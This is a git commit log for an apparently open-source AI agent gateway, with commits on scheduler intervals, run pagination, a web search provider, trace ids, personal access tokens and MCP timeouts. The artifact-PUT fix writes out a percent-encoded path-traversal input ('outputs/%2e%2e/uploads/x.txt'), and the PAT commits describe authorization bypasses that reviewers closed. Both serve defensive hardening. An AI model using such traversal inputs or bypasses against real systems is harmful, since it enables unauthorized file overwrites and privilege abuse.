docs(changelog): record the internal-only run-context key gate (#5338) * docs(agents): keep the run-context note inside the AGENTS.md budgets The AG002 inherited-chain check failed at this head. The new backend section and the root scheduled-task sentence added 993 B to the root and backend guidance both the sandbox and middlewares chains inherit, pushing sandbox 6 B over the 98304 B hard limit and growing the middlewares chain, which main already exceeds by 155 B. An already-over chain is only tolerated while it does not grow, so the shared ancestors had to come back to their base size. Condensed the new material and removed prose the root file was duplicating: - The trust-boundary section keeps both gated surfaces, both helpers, the trust-vs-destination split, and the disable_clarification note in half the space. - The root scheduled-task bullet names all three internal-only keys and both smuggling surfaces while staying under its previous size. - Dropped the root `scheduler.recursion_limit` bullet, which restated backend/AGENTS.md:18 almost verbatim; its one unique fact (a YAML edit needs no Gateway restart) moved to that bullet. - Deduplicated the nginx routing sentence, which already deferred to the backend routing table, and tightened the waiver note's sequencing tail. Root and backend guidance now sit 50 B under their combined base size, so the sandbox chain returns to 97310 B and the middlewares chain no longer grows. Every file stays under its AG001 soft budget.	2026-09-11 11:33:52 +08:00
wutongyuonce	48a8978b7b	feat(scheduler): add interval schedule type (#5291) ... * feat(scheduler): add interval schedule type Allow scheduled tasks to fire every N seconds from last dispatch, not only wall-clock cron or a single run_at. Cadence is UTC now+N with no missed-beat catch-up, bounded by min_once_delay_seconds and 30 days. * fix(scheduler): let interval tasks create, edit, and keep next run Create/edit now keep every_seconds. Unchanged interval spec no longer resets next_run_at, including timezone-only PATCH. * fix(scheduler): keep non-minute intervals on edit Stop rounding every_seconds to whole minutes in the form. Values that are not whole minutes or hours now use a seconds unit so edit/duplicate round-trips the stored cadence instead of rewriting it and resetting next_run_at. Document that min_once_delay_seconds is also the interval floor. * fix(scheduler): clamp interval seconds to the default 60s floor The new seconds unit allowed 1–59, which the API rejects under the default min_once_delay_seconds. Clamp the form to >= 60 and show the floor next to the preview. Also mention interval in the scheduler field_doc, matching config.example.yaml. * fix(scheduler): do not clamp interval amount while typing Keystroke clamp made 90 become 9 -> 60, then 600, and backspace could not leave 60. Keep the raw field text and apply the 60s floor on blur and emit only. * test(scheduler): cover interval input editing * fix(frontend): preserve saved interval cadence until edited * style(tests): format scheduled task router tests --------- Co-authored-by: Willem Jiang <willem.jiang@gmail.com>	2026-09-10 16:46:01 +08:00
wutongyuonce	69f0f483eb	feat(scheduler): let scheduled tasks pin a custom agent (#5288) ... * feat(scheduler): let scheduled tasks pin a custom agent Create and update accept optional assistant_id, defaulting to lead_agent. Custom names are normalized and must already exist for the task owner. The workspace form exposes the same choice, and duplicate copies it. Fixes #5286 * fix(scheduler): keep assistant-id PR free of interval tests Drop the six interval tests that belonged to the interval schedule PR and fail here because this tree still only accepts once/cron. Treat lead_agent case-insensitively so LEAD_AGENT / lead-agent store as the default. Omit unchanged assistant_id on edit so a deleted custom agent does not 422 unrelated PATCH (rename, reschedule). * fix(scheduler): format task page and browser tests --------- Co-authored-by: Willem Jiang <willem.jiang@gmail.com>	2026-09-10 15:36:49 +08:00
Hyeonsang Cho	8e86729aa0	fix(gateway): confine artifact PUT to /mnt/user-data/outputs after path resolution (#5321) ... * fix(gateway): confine artifact PUT to /mnt/user-data/outputs after path resolution The outputs-only guard on PUT /api/threads/{id}/artifacts/{path} was a string-prefix check on the raw path. A percent-encoded `..` (`outputs/%2e%2e/uploads/x.txt`) survives nginx's variable proxy_pass untouched, is decoded by Starlette, passes the prefix check, and the resolver only confines the result to `user-data/` -- so an owner could overwrite a sibling upload or workspace file in their own thread. Collapse dot segments before the prefix check, and re-check the resolved host path against the resolved outputs root so a symlink planted inside `outputs/` cannot redirect the write either. The normalized virtual path is what the response echoes and what non-mounted sandboxes receive. * refactor(gateway): share the outputs-confinement rule with channel attachments Review follow-up on #5321: the "only under /mnt/user-data/outputs" rule was implemented independently by the artifact editor and by IM-channel attachment delivery, and the two copies had already drifted. Move it into app/gateway/path_utils.py as normalize_outputs_virtual_path (collapse `..` before the prefix check) and resolve_outputs_confined_path (re-check the resolved host path against the resolved outputs root, which also catches a symlink planted inside outputs/). PUT /artifacts and ChannelManager._resolve_attachments both call the helper; artifact_archive keeps its stricter ZIP-member rules layered on top. Tests that previously stubbed resolve_thread_virtual_path for the editor now stub resolve_outputs_confined_path, and the channel attachment tests patch path_utils.get_paths, which the helper binds at import like the other consumers. The confinement itself is pinned by tests/test_gateway_path_utils.py.	2026-09-10 15:01:56 +08:00
wutongyuonce	3c7d3303d3	feat(gateway): paginate thread run history (#5283) ... * feat(gateway): paginate thread run history (#5282) GET /api/threads/{thread_id}/runs stays a bare array of the newest 100 runs so LangGraph SDK clients keep working. Add GET /runs/page with a (created_at, run_id) keyset cursor so callers can walk older history. * fix(gateway): reject one-sided run history cursors RunManager.list_by_thread now raises if only one of before_created_at or before_run_id is set, matching the HTTP 422. Document the per-page sort cost on the SQL keyset query, and add the missing CHANGELOG [#5282] link definition. * fix(gateway): round-trip run page cursors through query strings Emit next_before_created_at with a Z suffix so '+' is not decoded as a space. Accept that space, and Z, when parsing. Treat blank cursor fields as absent and reject a non-ISO before_created_at in RunManager so a harness caller cannot silently restart at the newest page. * style(gateway): ruff-format run page cursor files Collapse the one-sided cursor ValueError and the two before_created_at asserts so ruff format --check passes at line-length 240.	2026-09-09 14:56:31 +08:00
Willem Jiang	062273f850	chore(doc): update the CHANGLOG with the latest changes. (#5297) ... * chore(doc):updated the CHANGELOG.md with latest changes * chore(doc):updated the CHANGELOG_zh.md with latest changes	2026-09-08 20:13:18 +08:00
Yusuf Gürdoğan	23bd76046a	feat(community): add Sofya web search provider (#5239) ... * feat(community): add Sofya web search provider Add a community provider backed by Sofya (https://sofya.co). Its search endpoint returns the content of the result pages, not only their snippets, and its fetch endpoint returns a page as markdown. Both are plain JSON over HTTP, so this needs no extra Python package (uses httpx, already a dependency). Changes: - backend/packages/harness/deerflow/community/sofya/__init__.py - backend/packages/harness/deerflow/community/sofya/tools.py Implements web_search_tool and web_fetch_tool using httpx. API key is read from the config.yaml `api_key` field or the SOFYA_API_KEY env var. Follows the same interface and output shape as the existing ddg_search and serper providers, including the max_results parameter with config override and the structured "No results found" error. - backend/tests/test_sofya_tools.py Unit tests covering API key resolution, config overrides, result mapping, time range, HTTP errors, empty results, and fetch failures. - config.example.yaml: add commented-out Sofya web_search and web_fetch examples alongside the other providers - .env.example: add SOFYA_API_KEY placeholder - backend/docs/CONFIGURATION.md: list Sofya under web_search, web_fetch and the environment variables * fix(sofya): honor caller max_results, validate search_depth, join time_range contract test - Caller-supplied max_results now wins; config is used only when the argument is omitted, matching GroundRoute. - search_depth is clamped to basic/snippets; an unsupported value logs a warning and falls back to basic. - Sofya added to the shared time_range schema contract test. * fix(sofya): cap per-result content so a search stays inline An unbounded search payload (up to 20 read pages) crossed the tool output budget middleware's externalize_min_chars threshold, which replaces the result list with a file reference. Cap each result's content at contents_max_characters (default 2000, 0 disables), matching Exa's config key. Five capped results stay under the 12000 char threshold. Co-Authored-By: Claude Opus 5 <noreply@anthropic.com> Claude-Session: https://claude.ai/code/session_016TZhyPNCX2GYyBPkvTgJV5 * fix(sofya): list Sofya in the recency contract, coerce non-string content _clip subscripted its input, so a non-string content or description from the API raised TypeError instead of degrading. Coerce to text first, the way _sofya_post and _response_results guard the shapes around it. Also add Sofya to the Web Search Recency section in backend/AGENTS.md. Co-Authored-By: Claude Opus 5 <noreply@anthropic.com> Claude-Session: https://claude.ai/code/session_016TZhyPNCX2GYyBPkvTgJV5 * fix(sofya): coerce web_fetch content, list sofya in the tools guide, add changelog web_fetch sliced its content the same way web_search did before the last push: a truthy non-string from the API passed the falsiness guard and then raised TypeError. Reuse _clip, keeping the `or ""` so empty content still reports "No content found". Also add sofya to the community provider inventory in packages/harness/deerflow/tools/AGENTS.md and an [Unreleased] changelog entry. Co-Authored-By: Claude Opus 5 <noreply@anthropic.com> Claude-Session: https://claude.ai/code/session_016TZhyPNCX2GYyBPkvTgJV5 * docs(zh): add the missing InfoQuest and Firecrawl web_fetch tabs The ZH web_fetch tab list named five providers where EN names seven. Both tabs mirror their EN counterparts, so the two locales list the same web_fetch providers again. Co-Authored-By: Claude Opus 5 <noreply@anthropic.com> Claude-Session: https://claude.ai/code/session_016TZhyPNCX2GYyBPkvTgJV5 --------- Co-authored-by: Claude Opus 5 <noreply@anthropic.com> Co-authored-by: Willem Jiang <willem.jiang@gmail.com>	2026-09-08 10:50:03 +08:00
Willem Jiang	755b328caa	chore(doc):update the CHANGLOG and CHANGLOG_zh with latest changes (#5138) ... * chore(doc):update the CHANGLOG with latest changes * chore(doc):update the CHANGLOG_zh.md with the change of CHANGLOG.md	2026-09-02 08:18:22 +08:00
Hyeonsang Cho	9146bfa03d	feature(gateway): issue request trace ids unconditionally (#5119) ... * refactor(gateway): issue request trace ids unconditionally The request trace id was gated behind logging.enhance.enabled at every entry point, so downstream code had to keep asking whether one existed: a header-provenance flag in its own ContextVar, a precedence resolver, and three-level carrier fallbacks at each consumer. Bind one unconditionally instead. TraceMiddleware covers Gateway HTTP; ensure_trace_context covers the entry points that never touch ASGI -- scheduled occurrences, MCP task notification runs, IM channel messages, and the embedded client -- each scoped to one unit of work so a long-lived worker task cannot leak one occurrence's id into the next. The ContextVar becomes the only source; the response header, runtime context, run metadata and log records are derived outputs. Consumers now use ensure_trace_id() or resolve_trace_id(*carriers) and drop their presence guards. Removed: resolve_deerflow_trace_id, the header-provenance flag and its three helpers, set/reset_current_trace_id, is_trace_correlation_enabled and its gateway alias. BREAKING CHANGE: every Gateway HTTP response now carries X-Trace-Id and it cannot be turned off; logging.enhance.enabled controls log output only. Installations on the default enabled: false will start seeing the header. No config keys were added or removed. * fix(gateway): stop persisting a caller-supplied trace id on the run record body.metadata forks two ways: through build_run_config into the live run config, which the run worker restamps, and through create_or_reject into the run record that the runs API echoes verbatim. Only the first was covered, so a client sending metadata.deerflow_trace_id made the most durable and most visible surface of a run disagree with the X-Trace-Id and the log lines the same request produced -- a correlation id that does not match the logs is worse than none. Stamp the server-issued id once at the trust boundary so both forks receive it, preserving the caller's own metadata keys. Close the same gap on config.context, which reaches the runtime context by a separate path: _build_runtime_context no longer merges server-owned keys from the caller, and _install_runtime_context assigns rather than setdefaults. A thread's metadata is no longer seeded with the run-scoped id of whichever run created it -- one thread spans many runs and as many trace ids. Found by driving a real run through the Gateway and reading the run back from the runs API; every unit test built its metadata by hand and so could not see it. * fix(gateway): expose X-Trace-Id to split-origin browser clients X-Trace-Id is not on the CORS safelist, so a browser client served from a separate origin could not read it -- and those are exactly the clients that cannot read the Gateway's logs either, leaving them with nothing to quote in a bug report. Same-origin nginx deployments were unaffected, which is why this stayed hidden. Add it to CORS_EXPOSED_HEADERS beside Content-Location, referencing TRACE_ID_HEADER rather than repeating the literal. * fix(gateway): keep X-Trace-Id on unhandled-exception 500s Starlette's ServerErrorMiddleware sits outside every user middleware and emits unhandled-exception 500s through the raw send, so those responses never pass TraceMiddleware's header-writing wrapper. The 500 for a server bug is exactly the response a user most needs to correlate with a log line, and it was the one response that shipped without the id. TraceMiddleware now tracks whether http.response.start has been sent. On an exception with no response started it emits its own plain 500 carrying the header, then re-raises: the outer ServerErrorMiddleware sees the response already started and only re-raises too, so the server's exception logging is untouched. An exception mid-stream keeps propagating unchanged — a second response start cannot be sent, and the already-written header stands. The trace id is printable ASCII by construction (normalize_trace_id / generate_trace_id), which is what makes the raw latin-1 header encoding safe. * fix(gateway): strip the forged trace id from the persisted request echo The run-record fix stopped a forged metadata.deerflow_trace_id on the authoritative metadata surface, but the raw request echo still carried one: create_or_reject persists body.config verbatim as runs.kwargs_json, which the runs API serves back. A client posting config.context.deerflow_trace_id therefore still got its forged value stored and echoed on one API surface while the header, logs, run metadata, and checkpoint all carried the real id — the id is ignored as input there, so echoing it back only manufactures disagreement. Two changes close it. redact_config_secrets — already the shared scrub for that echo, applied at admission and again at serve time, so historical records are covered too — now also drops deerflow_trace_id from config.metadata and config.context. And build_run_config now merges run metadata onto a copy of the caller's config["metadata"] instead of updating it in place: the nested values of the request config are reference copies, so the in-place merge was writing the server-stamped key through into body.config, contaminating the "what the client sent" record before it was persisted (and incidentally masking the forged-value echo on the metadata container). The regression test posts a forged id through body.metadata, config.metadata, and config.context at once and reads the kwargs echo back off the run record, failing if either leak returns. * docs(harness): record the trace-echo scrub, 500 fallback, and accepted retry divergence The trace section of the harness AGENTS.md now covers the two fixes that close the derived-output rule (the kwargs-echo scrub in redact_config_secrets plus build_run_config's copy merge, and TraceMiddleware's own 500 for unhandled exceptions), and CHANGELOG gains their Fixed entries. It also writes down the one accepted divergence: a crash-recovered scheduled launch reuses the durable run through its idempotency key, and start_run returns early on idempotency_reused without restamping — so the run record keeps the first attempt's deerflow_trace_id while the retry's own log lines carry the freshly minted id of its ensure_trace_context binding. The divergence is confined to the crash-recovery window and is accepted rather than fixed: restamping on reuse would rewrite a persisted record for a run that already exists, which is worse than two ids that each correlate their own attempt's logs. Written down so the next reader of the scheduler recovery path does not diagnose it as a bug. * docs(config): align the logging.enhance schema note with the unconditional trace id The config-module AGENTS.md still described logging.enhance as the gate for the Gateway X-Trace-Id header and Langfuse deerflow_trace_id. That model is gone: ids are issued unconditionally and this block decides log output only. Left as-is, the stale wording invites an agent to "restore" a header gate it believes was lost. Reworded to match the sibling AGENTS.md files and config.example.yaml, with a pointer to the Request Trace Context section that owns the full model. * docs(changelog): link the trace entries to #5119 The five new entries pointed at the ([#XXXX]) placeholder with no reference definition, rendering as literal text instead of a link — and RELEASING.md step 2 relies on those references when the section becomes release notes. All five now point at #5119, with the definition appended to the reference block. * refactor(harness): rename _stream_without_trace_context to _stream_turn The name asserted the opposite of what the method now does. It was accurate while logging.enhance.enabled could route stream() around the trace scope; with the gate gone it is the only stream implementation left, and it binds the id itself via ensure_trace_id(). Private, so the rename touches only the definition and the one stream() call site. * docs(harness): fit the trace-context guidance inside the AGENTS.md chain budget The expanded Request Trace Context section pushed the effective AGENTS.md chain for agents/middlewares to 99,815 bytes, past the 98,304 hard limit scripts/check_agent_guidance.py enforces in CI (AG002). Compressed the section from 7,359 to 4592 bytes with no facts removed: the entry-point table, the derived-output rule and its enforcement points, the accepted scheduled-retry divergence, the two resolution helpers, the stream() binding rationale, the log-output-only gate, the CORS listing, the 500 fallback, and the test map all remain. Sized against the merge, not just the branch: current main grew the same chain by ~724 bytes, so the check was verified on the merged tree as well (97,772 bytes; branch tree 97,048). * fix(gateway): declare content-length on the fallback 500 The pre-response 500 declared content-type but no content-length, leaving the framing to the ASGI server: chunked on HTTP/1.1, close-delimited on HTTP/1.0 — the one wire difference from the ServerErrorMiddleware response it replaces, which sends content-length: 21. The explicit header keeps the fallback byte-identical to what clients saw before. * docs(readme): drop the trace-correlation condition from the translations The zh/ja/fr/ru Langfuse sections still said metadata.deerflow_trace_id matches X-Trace-Id "when request trace correlation is enabled". The id now always matches and that condition no longer exists, so each bullet states the unconditional match and that logging.enhance.enabled only controls whether the id is printed into logs — the one piece of the feature a user can still configure. * test(gateway): pin TraceMiddleware wiring through create_app() Every X-Trace-Id test exercised a hand-built four-route app, so the real stack's add_middleware(TraceMiddleware) line was pinned by nothing: deleting it — or short-circuiting above it — passed CI while silently dropping both the response header and the ambient id the run-record stamp and enhanced log records derive from. One case now drives /health through create_app() and asserts the inbound id round-trips; mutation-checked by removing the wiring line, which fails exactly this test. * docs(gateway): note the fallback 500 is CORS-opaque The pre-response 500 is emitted outside CORSMiddleware — the exception has already unwound past it — so it carries no Access-Control-Allow-Origin and a split-origin browser client cannot read the id on this one response, unchanged from the ServerErrorMiddleware 500 it replaces. Documented on the class and in the CHANGELOG entry rather than fixed: replicating the origin allowlist outside CORSMiddleware would let the two policies drift. * fix(harness): keep abandoned-stream cleanup inside the trace binding stream() binds the turn's id around each next(inner) and resets it before yielding, but the finally's inner.close() ran after that binding was gone. Abandoning the stream therefore drove the inner LangGraph generator's GeneratorExit/finally path with no trace id — or an unrelated ambient one from whichever context ran the close — so cancellation and finalization logs and callbacks did not correlate with the turn they belong to. inner.close() is now wrapped in a local bind/reset of the same turn id. The token is set and reset in the same frame, never across a yield, so the per-step cross-context safety is preserved even when GC closes the generator from another Context — pinned by the existing copy_context close test, which now exercises this path. The regression test records the id from the inner generator's finally and fails without the binding. * test(harness): teach the worker-trace fake about RunManager.cleanup Upstream #5112 (bound gateway memory after terminal runs) added a run_manager.cleanup(run_id) call to run_agent's finalization, so the merge-commit CI run failed all five worker-trace-binding tests with AttributeError on this PR's _FakeRunManager. The fake gains the same no-op shape as its other methods. * docs(gateway): bring the gateway AGENTS.md back under its soft budget Upstream #5092 grew backend/app/gateway/AGENTS.md to 40,966 bytes, 6 over the 40,960 soft budget that test_agent_guidance_check.py::test_repository_guidance_stays_below_soft_budgets_and_avoids_doc_indexes enforces — its Unit Tests run on main was cancelled by push concurrency, so main is currently red on that test and every PR merge-run inherits the failure. Two whitespace/wording trims in the row #5092 touched (a doubled space, and "its configured `context_window`" → "its `context_window`") bring the file to 40,953 with no content change. --------- Co-authored-by: Willem Jiang <willem.jiang@gmail.com>	2026-09-01 16:49:39 +08:00
Sunshine	bf740ffa90	feat(auth): add personal access tokens for programmatic API access (#5041) ... * feat(auth): add personal access tokens for programmatic API access (#4849) Backend-first implementation of the PAT contract from #4849: show-once dfp_ tokens bound to their owning user (AUTH_SOURCE_PAT, is_internal=false), digest-only storage (migration 0017), strict credential precedence (invalid Bearer is a 401, never cookie fallback), CSRF double-submit skipped only for Bearer requests while auth-endpoint origin checks still run, scopes intersecting the authz route permissions, session-auth-only PAT management and password changes, and throttled best-effort last_used_at stamps. * fix(auth): harden PAT scope boundary and schema parity from adversarial review Independent review of the initial draft found: (1) scopes only constrained the threads/runs permission axis while admin routes treated a PAT as its (possibly admin) owner — is_admin_user now rejects PAT callers outright since no scope grants admin capability; (2) the model declared a column UNIQUE constraint while migration 0017 created a named unique index, so downgrade failed on create_all-bootstrapped DBs — both now use the named unique index; (3) auth-disabled mode is an operator override and now stays ahead of the Bearer check so a stray Authorization header cannot 401 an E2E sandbox; plus wiring the previously-unused constants, bounding the last_used_at stamp cache, and four new tests (middleware-level expiry, expires_in_days, admin-capability rejection with session control, and the auth-disabled precedence). * docs(api): document personal access tokens for programmatic API access * fix(auth): close PAT security boundaries from review (default-deny routes, extension admin suppression) P1-1: scope intersection only constrains @require_permission routes, so undecorated mutation routes (DELETE /api/memory, POST /api/agents, Lark credential switching, channel config) accepted a PAT holding a single read scope. AuthMiddleware now enforces a default-deny route policy in auth/pat.py: PAT requests are admitted only to the thread/run lifecycle routes the v1 scopes govern; everything else answers 403 regardless of scopes. Session-cookie callers are unaffected. P1-2: the extension principal resolver projected is_admin/roles from the raw system_role, so an admin-owned PAT passed deerflow_extension_api.require_admin on contributed routes despite the documented no-admin guarantee. The projection is now PAT-aware and suppresses every admin signal for PAT callers, mirroring deps.is_admin_user. Both fixes carry regression tests (route outside policy 403 + session control; production resolver admin suppression), and API.md documents the default-deny boundary. * fix(auth): enforce PAT scopes on stateless run entry and harden decorator Follow-up hardening from an independent audit of the P1 fixes: - POST /api/runs/stream and /api/runs/wait were the only allowlisted run entrypoints without @require_permission, so a threads:read-only PAT could still start runs (same bug class as P1-1, now closed): both now carry @require_permission("runs", "create"). POST /api/threads and POST /api/threads/search gain threads:write / threads:read for the same reason. Authorization-disabled deployments see no change (the permission set resolves to all permissions). - require_permission now binds the wrapped signature to locate a positionally-passed request before injecting the test stub, fixing 'got multiple values for argument' on direct positional unit-test calls. - API.md: the intro PAT example used GET /api/models, which the new default-deny policy 403s — replaced with GET /api/threads; the default-deny route list now spells out method sets. Regression test: threads:read-only PAT is 403 on the decorated stateless entry while a runs:create PAT passes. * fix(auth): address review P2s (empty Authorization header, PAT name trimming, API example) - CSRFMiddleware treats an explicitly empty Authorization header as present (is None), so an invalid credential always reaches AuthMiddleware's uniform 401 instead of a CSRF 403 that varies by method/CSRF state. Regression: empty-header request dies at auth. - PATCreateRequest strips the name and rejects whitespace-only values before token generation; created names are stored trimmed. - API.md intro PAT example now uses the implemented POST /api/threads/search endpoint (GET /api/threads does not exist). - AGENTS.md trimmed back under the guidance soft budget after the upstream merge. * fix(auth): tighten PAT route policy to implemented methods only The allowlist admitted GET /api/threads, a method no router implements. Pre-authorizing a dead method weakens the default-deny boundary: a future GET collection route added without a permission decorator would become PAT-reachable without an explicit policy change. Restrict the rule to POST, fix the stale GET description in API.md's PAT constraints, and document the default-deny boundary accurately in the gateway AGENTS.md guidance (only the threads/runs allowlist is PAT-reachable; every other authenticated route 403s PAT callers). Audited every remaining rule against the mounted routers: all other method+path entries map to real routes. Regression: test_pat_policy_does_not_pre_authorize_unimplemented_methods. * test(auth): guarantee the negative digest test mutates the token token[:-1] + "X" is identical to the original whenever the generated token already ends in X (1/62), making the negative digest assertion fail intermittently. Choose the replacement character based on the existing tail so the mutated token always differs. * fix(auth): require runs:cancel for cancel-then-stream requests stream_existing_run is gated at runs:read so action-less stream joins work with read-only credentials, but its ?action=interrupt|rollback branch cancels the run — a separate permission. A runs:read-only PAT passed both the PAT route policy and the route decorator and could interrupt or roll back an active run, bypassing the runs:cancel scope. Decorators cannot express query-parameter-conditional permissions, so the check lives in require_cancel_permission_when_action(), applied at the top of the handler. Regression drives the real helper through the production middleware: runs:read-only PAT + action is 403, the same token joins action-less, runs:read+cancel passes, session control unaffected. * docs(changelog): add the PAT feature entry * docs(readme): add personal access tokens section Repo documentation-update policy requires user-facing features to update README.md in the same changeset; the PAT feature previously touched only backend/docs/API.md and the gateway AGENTS.md. * fix(auth): require runs:cancel for mutating multitask strategies All five run-creation entrypoints were gated only by runs:create, but RunCreateRequest.multitask_strategy accepts interrupt/rollback and start_run forwards it to create_or_reject, which terminates an already-active run. A runs:create-only PAT could therefore kill an existing run through a create request, bypassing runs:cancel. Decorators cannot express body-parameter-conditional permissions, and per-route checks leave the same hole for the next entrypoint, so the gate lives in start_run itself — the single choke point every run-creation path (HTTP routes and internal launchers) flows through. Regenerate launches pass multitask_strategy="reject" and are unaffected; requests without a stamped auth context (internal/test compositions) skip the gate. The check is the shared authz.require_cancel_permission_if primitive; require_cancel_permission_when_action now delegates to it, so every request dimension that carries cancel capability (query action, body strategy) flows through one gate. Regression drives the real middleware stack: runs:create-only PAT + interrupt/rollback is 403 with the exact detail, reject (explicit and default) stays available, runs:create+cancel passes, session control unaffected; a source anchor pins the gate inside start_run. * fix(runs): keep observer joins from applying creator cancel-on-disconnect sse_consumer's finally block applied the record's on_disconnect=cancel policy on ANY consumer's disconnect. The join surfaces (GET /join and the action-less GET/POST stream join) feed it the existing RunRecord, so anyone with thread read access — including a runs:read-only PAT — could cancel a locally-owned running run simply by closing the SSE connection, without runs:cancel. The policy expresses the creator's intent for their own connection; an observer's disconnect must never be read as that intent. sse_consumer gains apply_on_disconnect (default True). The two join surfaces pass False; the creating endpoints (thread-scoped and stateless create-and-stream) keep the creator semantics unchanged. wait_for_run_completion needs no change: its callers are creator-side or post-explicit-cancel paths only. Regression exercises a real generator close — the same machinery Starlette drives on client disconnect — against the production sse_consumer: creator stream disconnect cancels, observer join disconnect does not; a wiring anchor pins both join call sites and the creator defaults. API.md documents the cancel-capability constraint (this fix plus the action/strategy gates) in PAT Constraints. * test(auth): pin the multitask gate behaviorally; state wait invariant Independent adversarial review of the round-5 fixes found the P1-a regression only mirror-pinned: the source anchor could be satisfied by a comment, and deleting the gate from start_run would not fail the suite. This drives the production start_run directly — a create-only auth context gets 403 with the exact detail for interrupt, and a reject request with no cancel permission at all proceeds past the gate (never a permission 403). Also documents wait_for_run_completion's creator-side invariant (every caller is the creating endpoint or post-explicit-cancel) so a future observer wiring thinks twice before reusing it — the one-caller- away variant of the observer-disconnect P1. * docs(changelog): correct the PAT entry's digest and route-policy description The entry said HMAC digests (the implementation stores SHA-256 digests, as documented in API.md and pinned by the repository tests) and claimed the route policy admits 'implemented stateless endpoints' (it admits the thread/run lifecycle routes, narrowing further by scopes). Also notes the cancel-capability gate now covering action and multitask strategies. * fix(auth): enumerate the PAT runs route policy per implemented subroute The runs subtree rule was a GET|POST /runs(/.*)? wildcard — it pre-authorized every current and future subroute under /runs, including methods the router never implemented (e.g. GET /runs/stream), which is the same latent default-deny weakening the threads collection rule was tightened for: a future route added under /runs would become PAT-reachable without an explicit policy change. The wildcard is replaced with six segment-precise rules covering exactly the 14 implemented method+path combinations; the {run_id} slot necessarily matches any single segment, so the POST-only collection names (stream, wait, regenerate, edit-regenerate) are excluded from the GET run-id rule via negative lookahead — no dead method stays pre-authorized. Behavior for implemented routes is unchanged. test_pat_runs_policy_admits_exactly_the_mounted_routes derives the expected set from the mounted thread_runs router instead of a hand-maintained list: every implemented GET/POST route under /runs must be admitted, routes in this router outside the subtree stay denied, and representative unimplemented neighbors are denied — so adding a route under /runs now fails CI until it is explicitly allowlisted, and a removed route leaves a dead rule visible. API.md's PAT constraints list the enumerated routes and drops a feedback mention that belonged to the stateless /api/runs axis. * docs(migration): add the 0017 renumbering coordination note to 0017 The PR's migration-coordination comment states each migration file carries the note; the file did not. Adds it: numbering was generated against main head 0016 alongside #5078 and #4843; whoever merges first keeps the slot, the others renumber on rebase (revision/down_revision plus the bootstrap head assertions). * fix(auth): pad base62 tokens to a fixed 43-char width int.from_bytes discards leading zero bytes, so the unpadded encoder returned a variable-length body — empty for all-zero input, and shorter than 40 characters for any draw below 62**39 (~1 in 14.5M), leaving test_generate_pat_token_format probabilistically flaky and the token body without stable width (review round 6, P3). _base62 now left-pads with "0" to _base62_width(len(data)) — the exact integer digit count (62^43 > 2^256 > 62^42, so 43 for 32 bytes). The format test asserts the exact fixed width instead of a probabilistic floor, and a new unit test pins the all-zero, leading-zero-byte, and max-value edges deterministically.	2026-08-29 23:50:45 +08:00
Willem Jiang	2a261d2276	chore(doc): update the CHANGLOG with the latest change in main branch (#5004) ... * Update the CHANGELOG with latest changes * update the Chinese version of CHANGELOG	2026-08-25 10:00:31 +08:00
Aleksandr Sapronov	613b90b0e6	feat(scheduler): make scheduled-run recursion_limit configurable (#4848) ... Adds scheduler.recursion_limit to config.yaml (default 1000, clamped by max_recursion_limit) so scheduled background runs can use a different recursion limit than the web UI. The value is read at dispatch time, so a YAML edit applies to the next scheduled run without a Gateway restart. Also logs a warning when the resolver falls back to the default or clamps the configured value.	2026-08-24 07:09:08 +08:00
Hao Zhe	a263af2845	feat(mcp): add official OpenViking tools integration (#4745) ... * feat(mcp): add OpenViking tools integration * fix(mcp): warn on ineffective tool overrides * docs(mcp): clarify OpenViking resource removal * fix(mcp): expose native OpenViking forget tool * docs(mcp): document OpenViking forget guardrail	2026-08-11 13:56:02 +08:00
lllyfff	99c926b7bb	fix(mcp): bring-up has no timeout and externalized tool outputs are counted as undelivered artifacts (#4657) ... * fix: bound MCP server bring-up timeouts and exclude externalized tool outputs from delivery verification Two related robustness fixes: 1. MCP server bring-up was unbounded. tool_call_timeout only covered session.call_tool(); tool discovery (subprocess spawn + initialize + tools/list) and persistent stdio session initialization could hang forever, blocking agent construction (and on the Gateway event loop, the whole process). Add a per-server session_init_timeout (default DEFAULT_MCP_SESSION_INIT_TIMEOUT = 60s, null disables) that bounds both discovery and pooled-session initialization. The session pool's existing cancellation handling tears down a session stuck mid-creation in its own task. 2. ToolOutputBudgetMiddleware externalizes oversized tool outputs into outputs/.tool-results/ (configurable tool_output.storage_subdir). The workspace-change scanner and run delivery verification counted those files as produced artifacts, so any run that externalized a tool output without also presenting a real artifact failed with "Artifact delivery incomplete". Exclude TOOL_RESULTS_DIRNAME via a shared constant (mirroring BROWSER_FRAMES_DIRNAME) and thread the configured storage_subdir through snapshot capture so both workspace-changes events and delivery verification stay clean. * review: enforce single-segment tool_output.storage_subdir; document discovery-timeout cleanup Address review feedback: 1. A custom tool_output.storage_subdir with a path separator (e.g. cache/tool-results) silently no-oped the workspace-scanner exclusion: os.walk yields one-segment dirnames, so a nested value never matched and its files were counted as produced artifacts again. ToolOutputConfig now validates storage_subdir as a single directory name (rejects separators, .., absolute, empty) with tests, so the exclusion is always sound. 2. The discovery-timeout path now documents why cancellation is safe, mirroring the session-init note: discovery runs inside the adapter's nested async context managers, and stdio_client's finally terminates the process tree (SIGTERM->SIGKILL on POSIX, process-tree on Windows), so a timed-out npx subprocess and its children are reaped rather than accumulating. * review: log session-init timeouts and align API response model default with runtime config Address second-round review feedback: 1. A session-init timeout raised TimeoutError without any log, unlike the discovery timeout which logs a WARNING. Wrap the bounded get_session in a try/except that logs the timeout (server name + seconds) and re-raises, so operators can diagnose tool-call failures caused by hung MCP sessions. 2. McpServerConfigResponse.session_init_timeout defaulted to None while McpServerConfig defaults to 60s: a server created via PUT /api/mcp/config without the field was persisted with null (no timeout) while the same server created in the config file got 60s. Align the response-model default to DEFAULT_MCP_SESSION_INIT_TIMEOUT so API-created and file-created servers behave the same; an explicit null still opts out. * review: narrow the discovery-timeout handler to the bounded wait_for path The except TimeoutError clause covered both the bounded wait_for branch and the bare discovery branch. With session_init_timeout opted out (None), a TimeoutError raised by discovery itself would hit the %.1f format with None: logging raises TypeError internally, the WARNING is silently dropped, and a --- Logging error --- traceback goes to stderr. Narrow the handler to wrap only the wait_for call, where the branch condition guarantees the timeout value is not None. A discovery-internal TimeoutError on the opted-out path now falls through to the generic failure handler and is reported as 'tool discovery failed' with exc_info. Covered by a regression test that asserts the skip is reported without any broken format.	2026-08-05 08:56:18 +08:00
